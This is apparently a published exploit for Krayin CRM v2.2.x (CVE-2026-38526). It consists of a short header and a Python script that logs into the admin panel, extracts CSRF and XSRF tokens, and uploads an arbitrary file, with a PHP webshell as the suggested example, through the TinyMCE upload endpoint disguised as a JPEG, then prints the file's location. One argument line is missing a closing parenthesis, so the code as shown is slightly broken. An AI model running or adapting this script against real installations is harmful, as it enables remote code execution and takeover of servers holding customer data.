Exploit Title: Krayin CRM v2.2.x - Authenticated Remote Code Execution

Date: 07/05/2026

Exploit Author: Diamorphine

Vendor Homepage: https://krayincrm.com

Software Link: https://github.com/krayin/laravel-crm

Version: 2.2.x

Tested on: Debian

CVE : CVE-2026-38526

import asyncio

import httpx

from urllib.parse import *

import argparse

from bs4 import BeautifulSoup

import json

async def main(url, user, password, file):

async with httpx.AsyncClient(verify=False) as client:

url_login = urljoin(url, "/admin/login")

upload_url = urljoin(url, "/admin/tinymce/upload")

get_tokens = await client.get(url=url_login)

soup = BeautifulSoup(get_tokens.text, 'html.parser')

_token = soup.find('input').get('value')

login_data = {

"_token": _token,

"email": user,

"password": password

}

login_r = await client.post(url=url_login, data=login_data)

xsrf_token = login_r.cookies.get("XSRF-TOKEN")

headers = {

"X-XSRF-TOKEN": unquote(xsrf_token)

}

with open(file, 'rb') as o_file:

r = await client.post(url=upload_url, files={"file": (o_file.name, o_file, "image/jpeg")}, headers=headers)

if r.status_code == 200:

exploit_url = r.json().get('location')

print(f'[+] File uploaded successfully.\nPath to file: {exploit_url}')

else:

print('[-] File not uploaded.')

parser = argparse.ArgumentParser(description="Exploit for CVE-2026-38526, authenticated file upload.")

parser.add_argument('-t', '--target', required=True, help="Target url. E.g. http://127.0.0.1"

parser.add_argument('-u', '--user', required=True, help="Email.")

parser.add_argument('-p', '--password', required=True, help="Password.")

parser.add_argument('-f', '--file', required=True, help="File to upload (/home/user/shell.php).")

args = parser.parse_args()

if __name__ == '__main__':

asyncio.run(main(args.target, args.user, args.password, args.file))